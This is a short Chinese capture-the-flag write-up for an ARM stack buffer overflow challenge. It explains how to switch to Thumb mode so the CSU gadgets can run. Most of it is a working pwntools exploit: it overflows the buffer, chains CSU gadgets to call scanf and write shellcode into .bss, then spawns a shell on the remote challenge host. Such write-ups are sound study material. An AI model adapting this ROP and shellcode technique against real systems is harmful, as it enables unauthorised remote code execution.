首先,检查一下程序的保护机制
然后,我们用IDA分析一下,栈溢出漏洞
在CSU里面有可以利用的gadget,但是直接ret过去,会报invalid instrument错误。
这是由于在csu这里的指令是thumb指令,需要将cpu工作状态转移到thumb指令状态才可以执行。标记ARM状态是用CPSR寄存器中的标志位T,
BX指令可以设置T位,当BX后面的地址值最后一个bit为1时,则将T置位,cpu工作在thumb模式,如果bit为0,则为arm模式。同理,直接ret也具有这个特性,因此,只需要在确保目的地址值的最后一个bit为1,既可以切换到thumb模式,来执行csu的gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import *
context(os='linux',arch='arm')
elf = ELF('./root_me_stack_buffer_overflow_basic') scanf_got = elf.got['scanf'] bss = 0x00021008 + 0x100 csu_pop = 0x00010610 csu_call = 0x000105FE
sh = remote('node3.buuoj.cn',29902) payload = 'a'*0xA4 + p32(csu_pop + 1) payload += p32(0) payload += p32(0) payload += p32(scanf_got) payload += p32(1) payload += p32(0x00010644) payload += p32(bss) payload += p32(0) payload += p32(csu_call + 1)
payload += p32(0)*0x7 payload += p32(bss)
sh.sendlineafter('dump:',payload) sh.sendlineafter('Dump again (y/n):','n') sh.sendline(asm(shellcraft.sh()))
sh.interactive()
|